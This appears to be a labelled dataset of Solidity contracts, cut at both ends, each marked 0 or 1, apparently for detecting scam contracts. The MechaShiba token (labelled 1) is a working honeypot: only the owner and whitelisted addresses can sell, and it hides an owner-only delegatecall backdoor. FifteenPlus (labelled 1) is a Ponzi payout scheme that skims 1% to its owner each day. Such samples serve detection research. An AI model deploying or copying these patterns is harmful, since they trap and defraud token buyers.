address[] memory from_swaps = self.user_swaps[_from];
for (uint i = from_swaps.length.sub(1); i > 0; i--) {
uint from_swap_user_index = self.swap_balances_index[from_swaps[i]][_from];
Balance memory from_user_bal = self.swap_balances[from_swaps[i]][from_swap_user_index];
if (_amount >= from_user_bal.amount) {
_amount -= from_user_bal.amount;
self.user_swaps[_from].length = self.user_swaps[_from].length.sub(1);
delete self.user_swaps_index[_from][from_swaps[i]];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
uint to_balance_index = self.swap_balances_index[from_swaps[i]][_to];
assert(to_balance_index != 0);
self.swap_balances[from_swaps[i]][to_balance_index].amount = self.swap_balances[from_swaps[i]][to_balance_index].amount.add(from_user_bal.amount);
removeFromSwapBalances(self,_from, from_swaps[i]);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances[from_swaps[i]][from_swap_user_index].owner = _to;
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances_index[from_swaps[i]][_from];
delete self.swap_balances_index[from_swaps[i]][_from];
}
if (_amount == 0)
break;
} else {
uint to_swap_balance_index = self.swap_balances_index[from_swaps[i]][_to];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
self.swap_balances[from_swaps[i]][to_swap_balance_index].amount = self.swap_balances[from_swaps[i]][to_swap_balance_index].amount.add(_amount);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances[from_swaps[i]].length;
self.swap_balances[from_swaps[i]].push(Balance({
owner: _to,
amount: _amount
}));
}
self.swap_balances[from_swaps[i]][from_swap_user_index].amount = self.swap_balances[from_swaps[i]][from_swap_user_index].amount.sub(_amount);
break;
}
}
}
function transfer(TokenStorage storage self, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[msg.sender];
if (
_to == msg.sender ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount
) return false;
transferHelper(self,msg.sender, _to, _amount);
self.user_total_balances[msg.sender] = self.user_total_balances[msg.sender].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[_from];
uint sender_allowed = self.allowed[_from][msg.sender];
if (
_to == _from ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount ||
sender_allowed < _amount
) return false;
transferHelper(self,_from, _to, _amount);
self.user_total_balances[_from] = self.user_total_balances[_from].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
self.allowed[_from][msg.sender] = self.allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _amount) public returns (bool) {
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function addressCount(TokenStorage storage self, address _swap) public constant returns (uint) {
return self.swap_balances[_swap].length;
}
function getBalanceAndHolderByIndex(TokenStorage storage self, uint _ind, address _swap) public constant returns (uint, address) {
return (self.swap_balances[_swap][_ind].amount, self.swap_balances[_swap][_ind].owner);
}
function getIndexByAddress(TokenStorage storage self, address _owner, address _swap) public constant returns (uint) {
return self.swap_balances_index[_swap][_owner];
}
function allowance(TokenStorage storage self, address _owner, address _spender) public constant returns (uint) {
return self.allowed[_owner][_spender];
}
}
contract DRCT_Token {
using DRCTLibrary for DRCTLibrary.TokenStorage;
DRCTLibrary.TokenStorage public drct;
string public constant name = "DRCT Token";
string public constant symbol = "DRCT";
constructor() public {
drct.startToken(msg.sender);
}
function createToken(uint _supply, address _owner, address _swap) public{
drct.createToken(_supply,_owner,_swap);
}
function getFactoryAddress() external view returns(address){
return drct.getFactoryAddress();
}
function pay(address _party, address _swap) public{
drct.pay(_party,_swap);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return drct.balanceOf(_owner);
}
function totalSupply() public constant returns (uint _total_supply) {
return drct.totalSupply();
}
function transfer(address _to, uint _amount) public returns (bool) {
return drct.transfer(_to,_amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
return drct.transferFrom(_from,_to,_amount);
}
function approve(address _spender, uint _amount) public returns (bool) {
return drct.approve(_spender,_amount);
}
function addressCount(address _swap) public constant returns (uint) {
return drct.addressCount(_swap);
}
function getBalanceAndHolderByIndex(uint _ind, address _swap) public constant returns (uint, address) {
return drct.getBalanceAndHolderByIndex(_ind,_swap);
}
function getIndexByAddress(address _owner, address _swap) public constant returns (uint) {
return drct.getIndexByAddress(_owner,_swap);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return drct.allowance(_owner,_spender);
}
}
interface Deployer_Interface {
function newContract(address _party, address user_contract, uint _start_date) external payable returns (address);
}
interface Membership_Interface {
function getMembershipType(address _member) external constant returns(uint);
}
interface Wrapped_Ether_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
function withdraw(uint _value) external;
function createToken() external;
}
contract Factory {
using SafeMath for uint256;
address public owner;
address public oracle_address;
address public user_contract;
address internal deployer_address;
Deployer_Interface internal deployer;
address public token;
uint public fee;
uint public swapFee;
uint public duration;
uint public multiplier;
uint public token_ratio;
address[] public contracts;
uint[] public startDates;
address public memberContract;
uint whitelistedTypes;
mapping(address => uint) public created_contracts;
mapping(address => uint) public token_dates;
mapping(uint => address) public long_tokens;
mapping(uint => address) public short_tokens;
mapping(address => uint) public token_type;
event ContractCreation(address _sender, address _created);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(uint _memberTypes) public {
owner = msg.sender;
whitelistedTypes=_memberTypes;
}
function init(address _owner, uint _memberTypes) public{
require(owner == address(0));
owner = _owner;
whitelistedTypes=_memberTypes;
}
function setMemberContract(address _memberContract) public onlyOwner() {
memberContract = _memberContract;
}
function isWhitelisted(address _member) public view returns (bool){
Membership_Interface Member = Membership_Interface(memberContract);
return Member.getMembershipType(_member)>= whitelistedTypes;
}
function getTokens(uint _date) public view returns(address, address){
return(long_tokens[_date],short_tokens[_date]);
}
function getTokenType(address _token) public view returns(uint){
return(token_type[_token]);
}
function setFee(uint _fee) public onlyOwner() {
fee = _fee;
}
function setSwapFee(uint _swapFee) public onlyOwner() {
swapFee = _swapFee;
}
function setDeployer(address _deployer) public onlyOwner() {
deployer_address = _deployer;
deployer = Deployer_Interface(_deployer);
}
function setUserContract(address _userContract) public onlyOwner() {
user_contract = _userContract;
}
function setVariables(uint _token_ratio, uint _duration, uint _multiplier, uint _swapFee) public onlyOwner() {
require(_swapFee < 10000);
token_ratio = _token_ratio;
duration = _duration;
multiplier = _multiplier;
swapFee = _swapFee;
}
function setBaseToken(address _token) public onlyOwner() {
token = _token;
}
function deployContract(uint _start_date,address _user) public payable returns (address) {
require(msg.value >= fee && isWhitelisted(_user));
require(_start_date % 86400 == 0);
address new_contract = deployer.newContract(_user, user_contract, _start_date);
contracts.push(new_contract);
created_contracts[new_contract] = _start_date;
emit ContractCreation(_user,new_contract);
return new_contract;
}
function deployTokenContract(uint _start_date) public{
address _token;
require(_start_date % 86400 == 0);
require(long_tokens[_start_date] == address(0) && short_tokens[_start_date] == address(0));
_token = new DRCT_Token();
token_dates[_token] = _start_date;
long_tokens[_start_date] = _token;
token_type[_token]=2;
_token = new DRCT_Token();
token_type[_token]=1;
short_tokens[_start_date] = _token;
token_dates[_token] = _start_date;
startDates.push(_start_date);
}
function createToken(uint _supply, address _party, uint _start_date) public returns (address, address, uint) {
require(created_contracts[msg.sender] == _start_date);
address ltoken = long_tokens[_start_date];
address stoken = short_tokens[_start_date];
require(ltoken != address(0) && stoken != address(0));
DRCT_Token drct_interface = DRCT_Token(ltoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
drct_interface = DRCT_Token(stoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
return (ltoken, stoken, token_ratio);
}
function setOracleAddress(address _new_oracle_address) public onlyOwner() {
oracle_address = _new_oracle_address;
}
function setOwner(address _new_owner) public onlyOwner() {
owner = _new_owner;
}
function withdrawFees() public onlyOwner(){
Wrapped_Ether_Interface token_interface = Wrapped_Ether_Interface(token);
uint _val = token_interface.balanceOf(address(this));
if(_val > 0){
token_interface.withdraw(_val);
}
owner.transfer(address(this).balance);
}
function() public payable {
}
function getVariables() public view returns (address, uint, uint, address,uint){
return (oracle_address,duration, multiplier, token,swapFee);
}
function payToken(address _party, address _token_add) public {
require(created_contracts[msg.sender] > 0);
DRCT_Token drct_interface = DRCT_Token(_token_add);
drct_interface.pay(_party, msg.sender);
}
function getCount() public constant returns(uint) {
return contracts.length;
}
function getDateCount() public constant returns(uint) {
return startDates.length;
}
}
contract Wrapped_Ether {
using SafeMath for uint256;
string public name = "Wrapped Ether";
uint public total_supply;
mapping(address => uint) internal balances;
mapping(address => mapping (address => uint)) internal allowed;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event StateChanged(bool _success, string _message);
function createToken() public payable {
require(msg.value > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
total_supply = total_supply.add(msg.value);
}
function withdraw(uint _value) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
total_supply = total_supply.sub(_value);
msg.sender.transfer(_value);
}
function balanceOf(address _owner) public constant returns (uint bal) {
return balances[_owner];
}
function transfer(address _to, uint _amount) public returns (bool) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = balances[_to] + _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] = balances[_from] - _amount;
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _amount;
balances[_to] = balances[_to] + _amount;
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender]; }
function totalSupply() public constant returns (uint) {
return total_supply;
}
}
interface TokenToTokenSwap_Interface {
function createSwap(uint _amount, address _senderAdd) external;
}
contract UserContract{
using SafeMath for uint256;
TokenToTokenSwap_Interface internal swap;
Wrapped_Ether internal baseToken;
Factory internal factory;
address public factory_address;
address internal owner;
event StartContract(address _newswap, uint _amount);
constructor() public {
owner = msg.sender;
}
function Initiate(uint _startDate, uint _amount) payable public{
uint _fee = factory.fee();
require(msg.value == _amount.mul(2) + _fee);
address _swapadd = factory.deployContract.value(_fee)(_startDate,msg.sender);
swap = TokenToTokenSwap_Interface(_swapadd);
address token_address = factory.token();
baseToken = Wrapped_Ether(token_address);
baseToken.createToken.value(_amount.mul(2))();
baseToken.transfer(_swapadd,_amount.mul(2));
swap.createSwap(_amount, msg.sender);
emit StartContract(_swapadd,_amount);
}
function setFactory(address _factory_address) public {
require (msg.sender == owner);
factory_address = _factory_address;
factory = Factory(factory_address);
}
} | 0 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MechaShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 |
pragma solidity ^0.4.24;
contract FifteenPlus {
address owner;
address ths = this;
mapping (address => uint256) balance;
mapping (address => uint256) overallPayment;
mapping (address => uint256) timestamp;
mapping (address => uint256) prtime;
mapping (address => uint16) rate;
constructor() public { owner = msg.sender;}
function() external payable {
if((now-prtime[owner]) >= 86400){
owner.transfer(ths.balance / 100);
prtime[owner] = now;
}
if (balance[msg.sender] != 0){
uint256 paymentAmount = balance[msg.sender]*rate[msg.sender]/1000*(now-timestamp[msg.sender])/86400;
msg.sender.transfer(paymentAmount);
overallPayment[msg.sender]+=paymentAmount;
}
timestamp[msg.sender] = now;
balance[msg.sender] += msg.value;
if(balance[msg.sender]>overallPayment[msg.sender])
rate[msg.sender]=150;
else
rate[msg.sender]=15;
}
} | 1 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract KYCCrowdsale is Ownable{
bool public isKYCRequired = false;
mapping (bytes32 => address) public whiteListed;
function enableKYC() external onlyOwner {
require(!isKYCRequired);
isKYCRequired = true;
}
function disableKYC() external onlyOwner {
require(isKYCRequired);
isKYCRequired = false;
}
function isWhitelistedAddress(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public returns (bool){
assert( whiteListed[hash] == address(0x0));
require(owner == ecrecover(hash, v, r, s));
whiteListed[hash] = msg.sender;
return true;
}
}
contract Crowdsale is Pausable, KYCCrowdsale{
using SafeMath for uint256;
ERC20 public token;
address public tokenWallet;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public roundOneRate;
uint256 public roundTwoRate;
uint256 public defaultBonussRate;
uint256 public weiRaised;
uint256 public tokensSold;
uint256 public constant forSale = 16250000;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 releaseTime);
event EndTimeUpdated();
event EQUIPriceUpdated(uint256 oldPrice, uint256 newPrice);
event TokenReleased(address indexed holder, uint256 amount);
constructor() public
{
owner = 0xe46d0049D4a4642bC875164bd9293a05dBa523f1;
startTime = now;
endTime = 1527811199;
rate = 500000000000000;
roundOneRate = (rate.mul(6)).div(10);
roundTwoRate = (rate.mul(65)).div(100);
defaultBonussRate = (rate.mul(8)).div(10);
wallet = 0xccB84A750f386bf5A4FC8C29611ad59057968605;
token = ERC20(0x1b0cD7c0DC07418296585313a816e0Cb953DEa96);
tokenWallet = 0xccB84A750f386bf5A4FC8C29611ad59057968605;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable whenNotPaused {
require(beneficiary != address(0));
validPurchase();
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
deposited[msg.sender] = deposited[msg.sender].add(weiAmount);
updateRoundLimits(tokens);
uint256 lockedFor = assignTokens(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens, lockedFor);
forwardFunds();
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
uint256 public roundOneLimit = 9500000 ether;
uint256 public roundTwoLimit = 6750000 ether;
function updateRoundLimits(uint256 _amount) private {
if (roundOneLimit > 0){
if(roundOneLimit > _amount){
roundOneLimit = roundOneLimit.sub(_amount);
return;
} else {
_amount = _amount.sub(roundOneLimit);
roundOneLimit = 0;
}
}
roundTwoLimit = roundTwoLimit.sub(_amount);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
uint256 buffer = 0;
uint256 tokens = 0;
if(weiAmount < 1 ether)
return (weiAmount.div(defaultBonussRate)).mul(1 ether);
else if(weiAmount >= 1 ether) {
if(roundOneLimit > 0){
uint256 amount = roundOneRate * roundOneLimit;
if (weiAmount > amount){
buffer = weiAmount - amount;
tokens = (amount.div(roundOneRate)).mul(1 ether);
}else{
return (weiAmount.div(roundOneRate)).mul(1 ether);
}
}
if(buffer > 0){
uint256 roundTwo = (buffer.div(roundTwoRate)).mul(1 ether);
return tokens + roundTwo;
}
return (weiAmount.div(roundTwoRate)).mul(1 ether);
}
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view {
require(msg.value != 0);
require(remainingTokens() > 0,"contract doesn't have tokens");
require(now >= startTime && now <= endTime);
}
function updateEndTime(uint256 newTime) onlyOwner external {
require(newTime > startTime);
endTime = newTime;
emit EndTimeUpdated();
}
function updateEQUIPrice(uint256 weiAmount) onlyOwner external {
require(weiAmount > 0);
assert((1 ether) % weiAmount == 0);
emit EQUIPriceUpdated(rate, weiAmount);
rate = weiAmount;
roundOneRate = (rate.mul(6)).div(10);
roundTwoRate = (rate.mul(65)).div(100);
defaultBonussRate = (rate.mul(8)).div(10);
}
mapping(address => uint256) balances;
mapping(address => uint256) internal deposited;
struct account{
uint256[] releaseTime;
mapping(uint256 => uint256) balance;
}
mapping(address => account) ledger;
function assignTokens(address beneficiary, uint256 amount) private returns(uint256 lockedFor){
lockedFor = 1526278800;
balances[beneficiary] = balances[beneficiary].add(amount);
ledger[beneficiary].releaseTime.push(lockedFor);
ledger[beneficiary].balance[lockedFor] = amount;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function unlockedBalance(address _owner) public view returns (uint256 amount) {
for(uint256 i = 0 ; i < ledger[_owner].releaseTime.length; i++){
uint256 time = ledger[_owner].releaseTime[i];
if(now >= time) amount += ledger[_owner].balance[time];
}
}
function releaseEQUITokens(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public whenNotPaused {
require(balances[msg.sender] > 0);
uint256 amount = 0;
for(uint8 i = 0 ; i < ledger[msg.sender].releaseTime.length; i++){
uint256 time = ledger[msg.sender].releaseTime[i];
if(now >= time && ledger[msg.sender].balance[time] > 0){
amount = ledger[msg.sender].balance[time];
ledger[msg.sender].balance[time] = 0;
continue;
}
}
if(amount <= 0 || balances[msg.sender] < amount){
revert();
}
if(isKYCRequired){
require(isWhitelistedAddress(hash, v, r, s));
balances[msg.sender] = balances[msg.sender].sub(amount);
if(!token.transferFrom(tokenWallet,msg.sender,amount)){
revert();
}
emit TokenReleased(msg.sender,amount);
} else {
balances[msg.sender] = balances[msg.sender].sub(amount);
if(!token.transferFrom(tokenWallet,msg.sender,amount)){
revert();
}
emit TokenReleased(msg.sender,amount);
}
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
}
contract Refundable is Crowdsale {
uint256 public available;
bool public refunding = false;
event RefundStatusUpdated();
event Deposited();
event Withdraw(uint256 _amount);
event Refunded(address indexed beneficiary, uint256 weiAmount);
function deposit() onlyOwner public payable {
available = available.add(msg.value);
emit Deposited();
}
function tweakRefundStatus() onlyOwner public {
refunding = !refunding;
emit RefundStatusUpdated();
}
function refund() public {
require(refunding);
uint256 depositedValue = deposited[msg.sender];
deposited[msg.sender] = 0;
msg.sender.transfer(depositedValue);
emit Refunded(msg.sender, depositedValue);
}
function withDrawBack() onlyOwner public{
owner.transfer(this.balance);
}
function Contractbalance() view external returns( uint256){
return this.balance;
}
} | 0 |
pragma solidity ^0.4.18;
contract Certification {
address public certifierAddress;
string public CompanyName;
string public Norm;
string public CertID;
string public issued;
string public expires;
string public Scope;
string public issuingBody;
function Certification(string _CompanyName,
string _Norm,
string _CertID,
string _issued,
string _expires,
string _Scope,
string _issuingBody) public {
certifierAddress = msg.sender;
CompanyName = _CompanyName;
Norm =_Norm;
CertID = _CertID;
issued = _issued;
expires = _expires;
Scope = _Scope;
issuingBody = _issuingBody;
}
function deleteCertificate() public {
require(msg.sender == certifierAddress);
selfdestruct(tx.origin);
}
}
contract Certifier {
mapping (bytes32 => address) public CertificateAddresses;
mapping (address => bool) public CertAdmins;
address public GlobalAdmin;
event CertificationSet(string _certID, address _certAdrress, uint setTime);
event CertificationDeleted(string _certID, address _certAdrress, uint delTime);
event CertAdminAdded(address _certAdmin);
event CertAdminDeleted(address _certAdmin);
event GlobalAdminChanged(address _globalAdmin);
function Certifier() public {
GlobalAdmin = msg.sender;
}
function setCertificate(string _CompanyName,
string _Norm,
string _CertID,
string _issued,
string _expires,
string _Scope,
string _issuingBody) public onlyCertAdmin {
bytes32 certKey = getCertKey(_CertID);
CertificateAddresses[certKey] = new Certification(_CompanyName,
_Norm,
_CertID,
_issued,
_expires,
_Scope,
_issuingBody);
CertificationSet(_CertID, CertificateAddresses[certKey], now);
}
function delCertificate(string _CertID) public onlyCertAdmin {
bytes32 certKey = getCertKey(_CertID);
Certification(CertificateAddresses[certKey]).deleteCertificate();
CertificationDeleted(_CertID, CertificateAddresses[certKey], now);
delete CertificateAddresses[certKey];
}
function addCertAdmin(address _CertAdmin) public onlyGlobalAdmin {
